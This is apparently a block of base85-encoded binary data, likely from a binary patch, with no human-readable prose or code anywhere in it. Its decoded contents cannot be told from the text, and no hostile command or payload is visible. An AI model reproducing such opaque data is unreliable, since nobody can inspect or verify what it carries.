zoBMstep0Q8Q6-MOqWmDBn3Ma~S2c@21&&yy^N(DTtCx;0W6&*O(sSAtYphI-v>S4c zP{(ZfS50aU3aPpzGs@NNOI0@Egrc_}|6VInT?Mi&wrUL@ev%yjWtj;pWRVJNjal$x z>D2Z)QV%Sv*S%7$No#p`&XH`iz_b4tdzsGu_R4g5krUhRla7+xqKl3K7C$v#lvdpq zF3yr}63u!`_J-iqShklpW`MBf0+Nn%o32M>W~A(r3F;B=^Y+nWe2&VojLd4`o{EY$ z`xGAtiltf_rJoqyh{YA^4~zaEEe69c@nKJ|)#vZAJ|Gw$Jk|KUI4-c>)zRcYCcdKL z!nm(@mUE&$?()HAC(se0A7hu*t9OXun&IYxmHyxN2mgED(`Bh<0`*-uZfvH3?88DPE`8dlkL6Z(ffq@Hu)A#jKZmVRdtanCQ7MCdYm7PgZ#1bNPx)} zoGDf)b}TF2CZXA4drDNQ{mHvZ)8t_=cE5KQUFl$=j^n=L>4EX~UF}M`4Y`X*bK8N_ z(50FZb?HP8hg)=w+R)6z;&xumfzRVVF98t)8*Mt4%SFfU&3UE26Bo%dYH>s63rG0! z#kJc0cw&8a6Px25ciSxW zHZvM%&8NZ9wx;5_fYEwMQB!}6R^0TRR3*)pR>l#8!iWoQY>uScOA%a)UhAE8Q`05^ z&&Dt8;j*>+bM3!}^|S;gTq|tefJ7brj77iR=5*k?)LbJ$8S@{{Nl|Pzy=-|vV|s_z z-#8hcC3eNjPRGQI-!H*NvMh*P!1fo8lR(Z(*FDurZyHt-CJhQ7F2)Oq+GnPdl;u-l z23=nr8@k-0*wjG`DqI@Z$3HbPUprau5N6Q{8|KNc4_^fAx(Br<_APNTZM4T2K=?Fl zdWh-173FccP)+cZ7=DTw{TV`PoD8B;sQhh=ag~XyAcCadb+na+xZhPO0!Lnl@;Qem zL)hVzruG$wG}g1JM+s2pHQNf6X0KHQi}D;k9=#Fs*584wAu=x~p`2P(b_+%=MJp2V zY@c*H)+G1${QH>WLph6NX zf9}S}Ls3Wty6?u+u>HdE|DHEy%sFhA-(o21%8Ac3ejG#b{Ziz%H%>;cYSS%%OjQJ( zt;M6_Y|z_wSWV!cNA|Bo=IJnYx@LeRnTyh)ft5PyQz)qdRNFGyuQkNf<0+x)j{-xW=0?96=sHI)9tT$I>ZP%8*DCtgkWX4`syD+ir zt>!YHUcwU6sx#oJY5GKNSqObT3iT~C5K_)Bqb*3?g3y1ND(X_g(oQBDEClt}X+FD1 zRFv^hHMp4HK}|Y|!QcVvG@H&cVjE~02!WaM{4Qv)Zn2RczJroNL#!r`7KQ@gq>KrS zs^!~iW{gm>lWBCu3x=N$6FBZ$;O8ne0P+oEoVcjyQ@%#Dhz;LxAL}~=7{Fc>&@5a8 zlJFmYD1!IMG61+7wcbB)o5ZLgA=(<_=`Yp}EPI9A7nU?I#606xkGC;~DiDTHsBy^a z@o;w^0HYSn&s@y^0*9sm_c^pm!06Gq2Gc@lhJXKd^|uie0NG?yQ`)NF_3J^d5i0qB z`=umED*|7!Knl>N4&nC|S||^s?5%Q_v%%t)Y|||W)7vQm*l)_p$lMm?#XzA}eoNpc zn%{whW4_2=dW`?o0t}7c4{v{Pq?M}FWcJYP;XDaVRvy?k|5ecaRGG>!mEa}+91a$ny_pUg>v?Bv>MXx>v-7R)+?AJ9ANLl;%3YbM; z4K6FI+5%2jgnk1$c^2>!=|!DcAPAV5F%n4W&T$9CsRjs4Ui$yDjR0QU+PbHXf&cEi zw+{CJ|KK?pxYZ18IMl4b(@WDVE7L%xrKSS#Ep}zSnK7ytzFx)(JDlyZ-@mP7voDie zj*GLTb6?vd$gHf`ye#Afr8eqP`j}kyk3EJp#Q&VL675UZe-AUig7X~#{y1e__(>&_ z8WcKuR2b%f_L{CRUTGGv0>9KE0HQ&1fMkL9V&0NmWcy32cpQpiKM`6M>mPFsUb?Dw zOM@_Q$&xbWbp^a8>o0e6RWg_mhggQ$H{i&p%KFQomgH8MSEU{esgcI0$Q!*X;#Sua zNC9LM--af=+REJUX8ErhVVpWI@9wqt2Q3s!w&!udCquH*?P&oRvC`^6$m1~LE7IeJ z^i?a6sRQ0mSr^>GI#zFCnx@3MHB~80h`o=XM>76^AXhL;CI)z#PYXr^pOn~IB<4&t zh%?KJHDR#&cNWSOR^p=K;sB+Zum+a{q~xSABZ1xvnlUGE15roiaRse*^FvJiI;`io zP9C5i0RH=T{6TbKkNx|N0gv?V2jP>yzlvMKw$NaFaKXLAes>kVsZdLBqF!wW3EFIp z3&R>rwm(BuneKopAV+zUIug)QceFB0@G5CPkNTJ`pn-wG4@wG{U+a~Aleo=AIVSQ0 zttJz1Kl*t5Fv&^GXGHq%=~nwW+6+MGY?w@TZKhYY(@9yTn ztb>1ZaeKo@`wrCh=wt4Le6MY3jfzf#!7xt7+tms(K6~Is$UM;7-$r zO*j*kXnQXNnWIo}g~DL`1%8Ge7)5-)U7a{^A&UU)KmH+SwHS1DXa@u&KldFOEFi*#npe0OGnQ-7i+*qozP$p3_fckU|>#^JbH;PQ>-sx9LyxM&u-n6175a75-z*rS-Ur9sV#DCinaQPr9c3wf~lGBXbonau> zaTjrEK>h{H1651irv7%TAizWS^ytrb8b@Va@W+t&A1bD|+kU=NW%hIub*Iw{pnL); zUjgZ=Zm;FRIFr(gxNtK=yA0b~`xVuJ}8gecBWEr@Qe%fbN@6G39TQ{l34# ztqbLntsjcbF^?w`mvd(KVhobpMz`IVN+wwvj(44&FmwJ-Jx3aV?6@SXaJkc!Q~@E6 zA*A&6R%3i*I?vZl=XqS!0H5+rk6NX>r3P62x~ilYnt`TdZE{*_KT_BeFMYZDhE){f z;ImCVu^mOuR^)3tqlc4sv@onGh*m2J=n8!-+dqAJaD2^BYmf)OT6c5Xd=JIMCrA`h zKwfp8XUSM(-z9{xOy~!|K+Rxr&{Nr`H&;QbB*Am8=aK97h&w@a_qP&&an><2p#H3C z3nHwgI*}9#q^2=1w7to|{FUmy_>Qn!&WtV9o!VuSboHGK2KOgjgVR9i(YQa2p_TzH zFmBg}H9U*B3A+xgEAzNYs<|Q$b3it<1Y-G&2l(*Xt`4i`LOGHQiIAfh=lTQk zl3N`}y?Dxdoqn+TP{I5rW6nNfu?dnvjl$~TfXyT}pz2$GEVy*#aUTH(606Z}6cxpu z#1-**z(LWi zWyv<5NFPh?70hWUXv-8#9=!SFngJ9(JZwfpSs7~wgLxSjffQbP(bDgpNHo#MpQzh~ zp}4dZmL+3L!BnDcuazl#0jB!#fsJty+0RY~{UWW}+VFNFQMtR!5ar<(jfeb^aIOh8rD}x zgyuMG2XgDNPGa4AsqVl`#uv#zc^ zWml1b@u1eh<;|n$8C#_~L#@T(tni)Bs*^@6{s|j`f%^H@$+n}$xCDcILs(k+D1($% zWm3dIG1w15l8QpX*gtQ=T;<@h^*Wd#lLgFy#tfXi7|=&}czQadi%CkR-!A6Xj@%2i zM2E`uU4W!vf{YmVYD5Q0YkX{D4}E+(bu-b?(J?Xt&%laquZsTR+gyN}>XibD9qkMQ zg;yRIWS2n=VhA9pS*$5~Oiwz&mw?V=@{N>9TxW%rMB73ZA(Ch)& zzU1PnLf*_}ev`dx7k|*%SfDXhQW8^&oc-Ft2AVDS9oSF;f#8kvEApp)^BrTk_9l-W zJ@WUL^_4^9mLVm#d`m~vw78^NSL}1T5E3ylFog7Dy&|;m zgSdi85iQDIbm}!!c_4;1GG}SPOu_#QYQ`s^%7&EcT0TfO#|~c4Ug49y374rg6nU}4 zxTi!=kPcdp)mFeV6ZXAeuAQ3lJlwHllf$#3a&T~H2AvE<-@!Kv&xNYi0~7W5KS!sX z!FbBLA@?v*VF%_20R|CA8574)6>%ptIQ&V(o<96vt6v^ zu3TU~B}p;qhS)GwwMp(TM*9aQM5U;y`mIq3#KOa3<89|;j;fK>I^n|2A2BKG+Om@m zoutlYhmN+F7$jr{9sKPf;n%G2cxuiA|s7ayDperw#f%5eM^$w8u7)( z#nmBq zZ=QWSYyuc&5c#1s@pN9W{PKMAq`d4Hy|-WN41UN?m{D{A2@7w1j~hW zC}6aV=2D<{jaSUj4*u-piDJVFBTQrZoq$GXbYM8_fTL9>A=U!TL{7QuZ4VOnR-ZR{ zT%d1<;->{7l|YI9u}JB31ETD_fQStG7}!MqSO!=I{CQEWdHDK)RvkiPH0PpA35C+5 zuaLXf==|$T%VmTJQTV|JItaHgzd&c81Gkzn+j0NZRx`Mrr}xooOt4>$pQmtppzh?nZPYb2`1IK&cqsnY2#Bmdi~sf>Ex=hnywV_#btWzeCLi zEfDSGs0auu;BJEk&*xednu%-6xC3cmIzYX0klD-h`dss}b-HTU@#u1NSc z=H5MZSc=eg9#*lz1o+>1-U)_U-0^)rkAr!y&u zFp(8lo8U#9v~3z9NbQK^`Jb|e&l=tN9Bw}1Rj#VRb9=M-As=;jm{pCMc0Py}b67MA z$!+k@u9?qtkr1c19gGtg6h4`KB>i;ww1GkDCV#WTsEFiFS8Q+F(4p8;o{0$gdAu-q=IB7xL4{a zQ)^ZvdaZQF>m?B)xS8ap?gGs3C8(q188A%GS&Z)+Q|CR)&44@!Xv?J-e{F5uUjd0h zXpelUfx>r4h7w2_7ai@Bn6By>tbm+6x#9OW!Q0{sjmuvXV7s zsIlezxb;`@#rs)TiKJLh85V>$vOdcJj>jpr15x2c=# z^kwue&$%4x8hj?P1r!KNC#UF0EZ)c5B(J`3Q2ZbpX+kkC z$A+Emhe(f!W@O&mla$t`+GMJhGuw-%+a7gg=n+-qL7d2fK!%||FfF%h08=`YhefO% zXc%rpUzIe1f(xJtdH=-ViiSHKRkpnIr?dt>gyhD=ZL{g#RA`8R-gP6H+Req+m*Ht% z_V1a;=Hdy1a;fx@>|T-hK>?E51l@u+Z3doE+QL*^Tzfq^DQC z@}y#|bgikk-L5X-jl*!k+(>|ZzM)TXx<9{U>gwuW)`@HB990P)E^a+2^EfzlCMEJ5 zPV`$6$+FF?aJWH7f33z(nqEk1q`T_nhplfnCWXEuME>g^?thM5jqBHH-tTIMk-v8K z-iA1?OU9dL|5lCnzJqZxpgcgmEzgr{-N4FPymu@FB&w6U+A zQ*;*|j88We-j>f2caY#*f4i9U6|J*^6F7y>_&UUjf}T0}A@;{e`rh}S{HsAtaIm`i zV7`%zLo@DbKF%b5b3ua@c7`r&Y9UMU2twu_gYX*`y}@4&!ghjjKwu8!mge*0E%0vczXSeP-s%fAl`^er?f5G$sr zcZED9{y~retI09``SUybaSl)``JFiTB(0PK_I#z2YN!_A&5&>aWg5iEZfynUkiJU& z$fR@to=ZtdNqGE&&mHHurR=SgcWpyMLt$ZWZN=BGcbglqq6D2eGUYACHi}5oQ7DJd z2j2(7cx3cDiNdX-^6ch4q0DMIzslr5^Zl{$v+ge&)ObH!r9R+jCh279C*f`0v8Sfp zHBr9wD~53K&|>a%{+MwHSj?oFYU=sRhG zs;&0v@Gypt7XsEhWcZsqul%i0&ixZ^kYv*Y{RabaOBFp(Yy#9bWD9`hURFjO)eA}I zhKLlh>1ZkG47%&8i#%M)-VO}>SNNX?;3Admm=x<(zQRmHp69@Wf=RH-|=34zYTc~K)H`oR4#OAXl>2J80PkX$@oH=IJM3t<6 z8Bcnl^#SYU5Y1-`!EkK+jb_!2+iV8|L!1mc1Op_-SzF5cgst9$=-ePm!mZAaB0asEEmC~e$0)CUQFxts z=DXZ0Vbq(?I02F?hceUF)Iz-7Yr_E(=ZiBV44o%aOH%)LzqNve`JKB%wc4GLYHH_V zxbG%;cxqWL=++fX^{4lN>rG9L2elANxo}N}t3_9KHKm(mq{e<r@_$+CyA?-l@-();H1oDU|`keBwF1^ zbi;_uI2n8{5fq#Ts8$fOE9*)D@Iygcc0OomwVckI5UI8q{(whZ8A7D&y zfoV)$9Xmo^?(e~YL;3-Pl~{v56iV`+K;yuBk+sOQ^%vWaaHKP9e_UK5iB6magR*#y zAdv|&irCQ*!aL?3Nz6z*VulWGUxOvgUish;d8gLCO z_q)Oobb7R#TZiW6@dQol;kcL^B`0Y@FwZjlK1_wuGzz_aeC${E1oS?ILXR-&(OO)r z8ed?29m>l`dVZdI94S}+;^KWFf!x!184#XVZKard8bk64NWEbUTFu*4xxK=Ygf_@Q zE%MIjEE z!r4+!AH(+sk`5ip@1QYjbiT@%#OQMiEo00qJ^Zfh?laX+JL}$SBQfnN>!4Uo$9>f_Euxy+3cOz0GKeY2%0^K)0+$fF*NwzZ{aiL4L z*J&9F-&%BH$&+FQc7XBgC2mq~qdbz9iAmOFQO?b6H%w-a#X86wYrCSr1}(~l6QODg z9RLJ%H)y?X_?>$3B<0O%?T5t+Oz@?d@;>8-8MlzoZ{VYWAQ3+3XJEdF>tBIUF%!!` ztZQd2hPEas?w+Q?o!L@kkIYoLQ?1=6nG+|gt!OrVg^5Yk(0wrdZa!>_Wpoz*r)t5$ z(x_j$7LK1GsT`-ZyAWh2!S|T-M!R$X)k2iop^+vrVO*~t}n>Rp~%UD#UP|UPnc&9Pp4NO$rYICV!M|SDh?SumvZx=8ZKb7v(huA!y=dfO*2T5YmA}~ zMSQu+qf`RVU_9wLkd8OwoRO|3&DCRjn)PAUa2)leGGis|ktG|D)==-W0P_xt&L&+q>0oX0s2<8oc^>-Bn0JKe-3lXBKBM_?!H9B%y?&t;Gx%DZYAW3tc% zqYF5E{4TxTWZypg#b2Y#t{0VE$w82>27!F|L2469%)qU9VVu*DzzU^idWf4pT)_94 z^GnJ5GP-coLo!3<@yloxLg2q~KIC>Qq4cZH;rSwwNKP{iAlbUQZ#-PCD+SEn97Onx zJK(rP3wMSP5AD)E{I@G-nVmie_>w~+ri>emfw4uOr35lc-`4>i2Rf4O&Svp~o4FmktYUCtFQ3F8Zhjc^2`y zpbYn;?Jp!iRlv}OJ|I3W2o)A;BrN_l4a^&eEqvDpOwrkmJld?Sfey@8VytJ}#k$^x zhBJ^D0N)IBz(DNK5KKn+Z$FO91@|S$BuJe%%h6m2~VEI+D1;W{md>w^gqd zM-dk+U)*MB57@J3ke2(N{(7kLC@s69I2*Yl5e622?kfiY=1>a{VtVk?z@xy?RjzFV z+OzlctEMS&ng&)5hn8=daZNVj!x<0W4FU=R2kf(F>ol&D>Kxa2S_UM-b6{`$lm#!#Du`yS zt_FujA_CLJ1~!8C1~|yOe^~>k$ShcOB-#mi?q~2)zEO2m5o=sgQ5Nc@|2JASH+xZj zXrb?j8claw%&0nS6zs?NNp~p@LxJ#d&p-!X;s({k^MlvXXC_TO!n=6O54tVi@R1xu zczc<-Q<2>4B)b_t&k#!|XG4^8y@9K0x$%_N=c0}!COJW0t08M3bVergS8+!uz$mhh zPB(k5d-c=)G{dsqamd4?QyJnW?DwZg?x1X2ZW@8~V@}Oy$hPU}8$wm4lT~CAgSX18 zL?rL*&KS(TTav-_tdiS+I`N7xjv0$bgk<=+vx=yeq|lr3b;)K{&WO?oj%(2LrA~oW zzB74^)c^O3>wiALtTN={?dZrW#k7x^F5ZsQx1&D+%^}m%fS5qE76{HAP@hW)gh?sB zAC?bT4X^JDMHzbju1Zd(%9vl|L^OBDnb)eZDk&+wymfz^C@ygI!36X~Hqr#oK{y8_ zzLr>1he@?QYzua*^*TAQwVGAE*i-eMd0suSYMtX+Z{r|%)p1h!mhY;P@#Q=}ix9b? z2L)bSi%7be%WnWoo}$C;T&mbQ0YxU^mlvO34c}73rWK8lnj;WQ?SZn%YtcNwI-2X) z69V?7E-7LdtSWO!g*>DY$d~?wH(mOde5IeH%o!1V~V*Bq?q?uIC*%Ca}$28V<5*gCB(VR9zJLzKr8At zdve~|3IcE0hlBB!kyR76xa7feV6Y0aA?rv^olQSJ{#IAuIK4@VhE(CIpnp!?xybyxl#V7Ye?k7#Apd6)gQclCf*DCxZ$ZP(l0{Sv}sb z8yKYiE8`Zyg-N!WdUF0 zpZH#EL5!6Hs#=$mf;B-gYN4MqvK)=b$1wq}h|cG2aQg%Oq;v~tY0y=pDQh?AJOvO( zK5h?!ZAK#^B08|3@T$^Q=NgZcIt4m9;0z)ZJCP?5U@}H0W|JXI@gFWBmZALW0tye2 zrWd=u=Y8M4L9$A0H{~o&#Hv2iXky)^4@Q^y@(Dvd8M65D=~0&nD-~4D@&s>EI^Y>Ee3J3f4_Hen;*5&F6*gPhads7@jhO=Num&!z<+L6#p2^9Z^wn za&u+tb*@{}`=Vu zu|EK8zh+uP(|b}|d1Kn*{nx`=aV<*w%tjiw1XGo%IZ&c6c{`*7NVwNL8qVP=To^}A z)i^A`njV&e>uzc@Q9APU)~#Doh}F8N{0WGCmpEUL;BE8SI`n}GOUT%HY01(&7S<|- z;7?UHdz_DHML~ectXs!;zdd_|cyx2^b!0&2Sj1Fsyy%>0SAhUe*k4k{*IA+r#0h-# zGV{}>@v^hd{m*K!p+Mq)KlY`~7u(-X#$|U&LppZpaPeURi&`*xA`YfmBpmpm>4g3- zRSCm6aKdvyCGKyI(R7c3(Adl@SDQnFwTPn&96$28MiVa>1{KwT$HnZ$b%?6cB|-(7 z>x7+MXBZ~@lGXXFirSzvPpPJ!X;w}0E2A!AG>mnT@k17W`0(3~&#bqGoIO$<45}j> z4nrSgkSWH;)>(h0GBrl}&(D2CaNpj-!e4mh*7k-2O?ho*d|YwQC|!r|tH~F9MTN9) zw{YYayaVEzpzFvbdF`Vjs$gg-wqFH*v8*cy zfM-oV*g`BQYGsyGc>Tnuh?dGwnFhSl%Fu{A!9ib7RJKlA;S3`gBtskX*coQ#?U z3{Uk)+%r$GC6m&IqtdNf9nwJF_Pp^pI7wDL9)x`_+b|O##Qx(L#7zvX6_=K3a5Hk> zxr41zug&p7geGwES6yRmtpZmZIg3_-Ce(S8zK$@Uv+4h2Yi2FkLxHVu>~xI$eWb9R zt{mAqR{84f%Z+e{OB+0{Pib9hwKdaRMFL;jtuFRB=&VzmFekmL-1>MRQpy|Ov`nzrukcuZI zk64(Q;ei7~4_t-2>BQ!zp$k7W>CdkJc;&zR`SS;4AkEh=6==Ku(b3U??+o3}24#%aZtpbQ;eEwAa^)(q|13bK zknn=*@6jNB=MIES&(AXqqS_t0SG^VSJGa(k>Trw|Z)0(8e6WzVB+dWm-Rk<-&t!?O`X zdh*b%6Qh_pBXIpy zTW6ELX>~ zE1co`Kw>{XRj6{@pox{2lm6p3uUuP~EW3jMnJH`UMB4ZEWlygBo+^*;tCf?Lgg(^& z`J@Ty?;~`FK~&=iqXp1*Ef@gxoZbt1J?5-|5>Cd?DIykxhylR z_p5My+wiQ7kPAYP8Y%jOXgef-;MrCd@`(RO@yW*hf+w+5pvv+&JB=ppos_&VZQYm-ipAS5POT;{W2i9VsWd)o zVDT^6wDfQN{tcV1Z0nD8mtlM8JN3C9{Zm1C$o@u_xsEKuYd5!r8)efEshy8ZK}m#R!nB zB3imm$Gq{L#4#1X10Vm!QL)*lneYY*)%+dH_v*qAe&h(ifpIyr*W9RC{qT}+2F^@O z$S4xE{X94jV0VZ16*vdhubi7E5cnHG56IA37B}Y|ct_KO;9y%2{)i)^{Zq6liN(N? zDG`752XXqx&AH?cSleBd7KMf3rFULUcae;*`-jR+t0voC{l9gSOy=s z3E}J^9@!I(HnD!o`jnp<{4E$FoslgWUN=$Mlg>xiO^YGQ?jX^DiQ1q4`%k24#tJkP zjk>@t8rC-NA{VT@TdK{mxv`=438xis9s?ao17ZUgfD`Hmq@~m5J6P7DKJ(PR`DEz5 zf7RE5arw?qnH?hta((exzibpv(OGN@d$;0e~Ys<>~{O>imYq?EP(zr#;oY{rx=`?1g80IAY*Ode_FH(4dndIZo zQ?DuLB)YzMfpAJUdR;II??vfe{6h3=ZkLeuRjKtjnAA2mZ}XOJYsF^ISG{!hasMG^ zJ+v!I?JpEXdJ**~i`*;dR5|duYD0yLchL@6 z6n;imD$tNHFXKHVs1c`Ua#<&7u19z>I%Pq)GcEVK^J8fN1XV-lZX{V#%dD{ZfmtqR zQ~Cn*a^_Biz0CW#HF&06xvxi0vy*1AqO;|dzBZTlctdB@G0UrhpWEA+gT5BW?K-1p zo4RQ|&Cb_b>o@)+ee#Miq{~%f{=-T8K6TS{Qf!nMD(5NOQZcY~_D`gtxoUic= zpRxtj>+HmK)Kedej%Gn~&bv{9qZZ81DZ(0>;!*~T6I>Do@(Il>1+%dR{LPmcZegoZ zFNQFdr)eB_@6#)@z9l%dj)@#H7Rlu8QJiLX zeMTJCJdESNAO=LcfNfcSnyD}!tcEQdJruYI$e?58rbax&p z`9Dfh{<-oIDMssLJBNeQyI~9IxVc)LuO37q<;e5*GjBMzIbfaAKi6b&uoUiQ#An%{ zJ$_1#dT25f#k|eyljFJ;EO{_@OZIQO>J6EsRq9MWoR@+80c1UYhRt&H3r?snl_@do zlYvHw411e7m~NnQxJNckLPkM=jEkq3Vg`SlCd`9;S0sOwzdxCGyLH#~9RW+$x`_F^ z*;@*Px4Gch@tVhNi&ai$9#~1sDMVI>w|*e+qAA_>;;E$0*EY>Cc{>(MJhVKfkz!(Y zoi!#@P}LdnHn~P#*(}N$Q=Ouvk6yz4gpP=yV8eJ% zyCl}+T2>~G-9>dKaa8%h*W5g|AJ5cOR3rj)N5h_;2eQ+?AD`14?R%APwAf(h&g@F@ zf9;?F3{I*ES(nM~@`%_)v2ZvZSR~(JsUev^InwT}Il1lb(buQp{DSLR7(0t@xL9qh z40+g#p#-KkG=5%tA0J11)?ZC^GF|RxDxBxcPKsTOW=>WtGpVPt<97PX$g2my$o!ruLw{SZ3`c6ffSn=J|INVdrBjeg%z0Tk#e|p7vaZ;e(B zN@VxZj9-5=$*h|0X~AyveW{Dc3w7jy%tQ`zRM)LBiHre1s8>Z8p=(V4^AYmiqy5FY zowiV~+wpO*%oOiT+!|&2{zT^<*Kza|DX(l$U!5Jgj8ldB*U&ZS7X9DPY^_Y$a3vcQ2)J2`$&n!_KGvft1~$F+&cz^SJ!I4>ReA^>>RQz-Ym$@M6D-} zlJt!D;EQ?dridQAz!B-?$^N<5^yN-EUskeV`ke>NY03rgGh;30bN;t>^=0!K{R-;` zzk}b-iKAmPze!vRpOk$Z#pT2iyis#bq^FG}=2#U)n2LE3d%o$Imn*^#87_&_%~g%+Nl6 zK3$h1b5AyFr^4b@F&ftJ99H~wUa-9G|03@D$fBJcsCc|?8JOb!sh=gxYwyv{Ep@Fs z;S6n%@Uhn17f6I45|mZhH88=Fiec2sxdI{=E$fs-u6zDo8+Tgxf@FPnyAJ2?d0IEB zu^u&MKAcccW!2Kc(QlWx#^amqB4pxg%3YjE_;De*zAc&FQ%OWkJbg6uB986Y{uMF* z-kVQeJL@vfvYwmk2oN$lVP^2E%;ClP`0N|{^#48Kkm%=}$9o`uA^u&xm#z5y8G&#h zp{n_$liB7-S%#4J+CLSo=&KC(#-7aM&K#DbTV&N|c_nu@JLkYr2c1VBtVzTV>zZo7OuF5LGS&S9AMP762y*){qn49ZnkS8 zO$!UJNMX>cZ}eB<)d1B_hwH&(0?15ZN=&lHuxdD=CK(zQ`{gWB^N;-)orSe5MC|*P zqwCH1>5jA^I99PPxe)C`A6@cIvEyD@6UBoRDNS+PtH@2IDocYvMZPD-mj`RK=R2m4 z?tD}=9xOQ=vO~37r98Iqpizlbk>HCEt3Bsyg914SGBfpP$$e@p5i-ul6`aF*%*17Q z_3EbO%cC$z)gnSH68dMUvDTDcmm?j?v(`mmnf(;aiaEt;!OPAx-$kab=GXc$ci1nH zB+%>oWIgGXtlJ!%L@t$0AuQRcR-yql0BAJA6F4H|H=_L zxO2%;2%)IgV~NJdJnLU|H{?iLf7(viRp~mQt_Q0ZjVOUxwMZMvF69*Bn%{w*MSz+} zOX~}F;0UB%12hiU>@ysIzjcwp0L@I#%!FvcZ_&90=<@(S(c+yxMkw$Zg#y509GUxW z>m}7juRb(`SiDdCr1&vy)5+A9ii!$ggLc)>-uLt85fm*Y3XsW)H2wWm1Tg98KDu#a z-$Tqv79A1?iB5F5prbG?9$Gtvz<1dmw7(A4H?R#hW~GwQil6p8_mN338o$lS306q0 zBCW=AI$Th!LOUcu#+fFCxrfJJ0Ho?lcbSb-mO*O(^89BCaX>_b_Hq*@B_(m`)imEC zzdT@9E%A4ik%LWJRZ|PZ8V#VR&09umUsy_kRbL-116A8jS5yuwtPtp(;TZXTAn@0` zkb#~a6Q*DkG)8cA;eSC8-c805me}^Qw1`&OW5=7UL(_=92+}EUyy6pBX=Rh4I=%q+Z~|hi~^qGvjvHBQ?Bx+ z-SjOZ?LV?s06Kx|a=Pmr?L*xErPZd53=Yq67D-26z*qMeTS#Rh(Tb^^r7nKf$bbAp zukOjH$AA0w4T9L(kcpJVeCiZ;QhUI1${Mu*(%7eWqZXEymcSd3qryF$uF}3MI`Qf8 zqesY<-^i3m@%WbyYQB1mydLss9sKLnxhC@_Y< z=@A-W-YdM4u30pK2)@?NLpFX59~=L6o}xz>2olyngz@t@AMY7BOtqjEv7tsqOAGQy zy=S-yxe0K+cD*zG$LEFaRpBy2L3L;_9j^Ude-S4uD}xot^NbgCFT&(4|4|wyLV? zLuby_EscW8iVBUgQFWHIYkAhaeSKfje!d=>1D0M)^E$+|ad5yU5A`p0)zC0qSlD#F zU*?%$sIC1bJ>7iDepIRGbzONIXrBPRK7AZ)ysfx=S(k-{B|jg6P)kOhM)K4cbDIOu z215N``;bQpZICApsIAS-odi=24zN>ka;ksjCwi5`dU^|&)$n!_fSgK0i;PuQ<#?3I z7a`V>={M-hpnXPSXioR#0zL&(?GM5)@)W(`3aE4Y!_Y=CH1_E?+W$)|N>pz*_IjP^ z2hS0UJxwW_HW!0!fyMO7=!Hhi8{P&)uyKKAp(cAAld=0_Ef=(?MUBwk#lwTz_@pLh zT|`tY>`@MD;mA{f0f7f}F4rjVf~wZ!Fhis%80$e-?xas?*Ad9W#4RBqAt;#78ouHV z4w3c!%+p1d27FZ|B`DLx&K|SL>xvn_fA1cc5f}VFLul319ZMS;_{Hl8 zG2y#^BU5j@_sZnW$L>80h{Nz&&n@ciJRvnw^HasNZ1?kyT(}!ZNnf6*F{f12%h6qP z?B=L@6|3?;<4kj{|1kD>!sjeEgC8diE-@eI##c>xEih!YAs&_jAE2$sa>aN4O+6Om z6asEkT3Rd1%gxl4x||!o_`ZFx{jANAgE9T)O2`|d6n{Fp@JVjMQJ0$vjwqbNr`NHB zIRB#sNV&2@YIgHI!w0g^9Be%7s0tuB!Z6BOghT=`O~YRHPSV{x*cQHfT*-UFM3BLm zd$rYLW0RW|sm%1WqnquL(XeQrOgAq(Ee%bT?e$XZeub|j46h_>^{(tst~rC*-x&Fi z)(#GIdkuSuK;xfw)z7MQi$)-|4B$EkR9|;@GtXt-luR85l&Xq~|0P31!>yYiIe^J~ zIT6S7y@G>jbM;OM_+P6hjDEW4gT=7ocFgo@z=}IM8er4?hP=TC3k~+?FU@sk$J8aX zm!-40`S{4OT84);^M@{-L>5rAJA9skG>OdA)FFObZ||wydN^))+u)2V8j*G+>!yp$ z+BzX1AV5={J&%f@{q`!>r9|wm3Q0lJ-p&fWl1HSU>#C~ECk_C9E-bVcm%0+)E(Dr$ zU=_IA;7M6=hr19SNXX|HcJq|!-WVK=vz^FT0n!x!Wa!R@LV-HFTD`nthycAAo&&Nk z_%t3eJ^(R>T!)kHm{ z6UeprsjXEnw_)~C&K&;nk@+XbH-QPy0F`prK3=*SUV-3J+}QZ}so}#13_-jr#3fMc za7>2P0?DX*!EDJFr7~Q5)cq*@JLU3&-wd#*IF&0GGx+!2^;Qjs4K|#7jE6HbeeccI za957dD2ip0{QKlhqbt9Iy&gWRW`DEfQPJpm^7QBD0;z6mZ*nl-O-mK1Qvg4xow(#a zy|c5ku~EEr0{jd>*R!>u*~shHQ!_Ks_ZG)G7}N8vd8*Ha=h)cT0F~{QalhW3i%M^F zYH||G6zoR8)VjT&n$nLMzE7Nb>y(&&7yVA6&Wvv9m%h7f^aeWy z=_X=p(qK+=iJ|S z;ck8Nko5urJ>d|oEj@V-L7up*DgiaoLQ&x6a|Htal=y{6x^Btx$vJ3`q1iY{lw^@w z;R`om-!8ZgcY&f)h>I!CqU8FHd`Phb7QrKkr)5zX1ln;1M9hHX_3fU+>pA0%tWdbp zP(7sKk@#$1?%TDSX>2Gj{{wwr5Gz_;eK>HR*3WIh#Rjk+9+f+{2{?yJ^ds*wBZiZq@e0x#pKFdWW z+b_9NMjyunlOE8%6ka)m?=^Jm(9X*jpVNgpd6mum_b$Lo3EykflF|pN&(UMzHfquH z7L_S_D)c#-m{~^h;a!s(K$knL^wOZQ`WIY35_l|9Eb@myM%U=HLVT(q_I6u&!5rClnc1JkpfHVR8&-cuYt{$G zn$EC__mfpF@pQ$nA<-QMpC)V(s!|BL5^i4E>%o3PdhHJI3b37kk&l{aF)6G6NGNJ_ z6jETWeIX)`W3sli#JQF*J;{)Fqw$qepfT><$eh)=FX+$snX9cf*7jFof_4TEtUrAR1ei)to3T{z(+Hb*3y|W7lNqk)=_^)FE zYMi{>5MioY@~A*ljgU(QOX@>yZJ3pgl2_y?tUEC-)dpoU6ZTi=5=FCDfaLq|!AR#C z3WMU^=Y|I5flX)V0xoMfpqBPfztR3c92o!boEM*!NBj>OV0a$>dFzy_8DZqU_?_Ux zqP$9LyA;dt?R}rKOuK9pmvAm#O9e-}!{9(WlP!guS>hY&{F~o5Jj*VL(0}sCdK!)V)_o;A+mkI*tk#W~ z{kvqIXG+r;*1v=|J~2N>`bnOh%k8HbPQ*J2OGtBWHoDz#?Sn$vxA;M=aEPGV;e`zp zHs~(&kUNU5A~Ys7#8a_(3;4SLRjV$=E8awX`cz(iX-Do?-n%Pd!TiK8ty8jaW7#i> zQkc75eZEC}NxX5Zrm{VnU_rb7?93a|$lBXsS|y!O(PO`t9QqR8)DV<3`U`UBvejxp z(lCfvuT!bjv6{S_4l5JX#wIQZ!J7nRNnTa6pLg}|Xb5IXS_m9;|8~tEqBm8EF$}9k 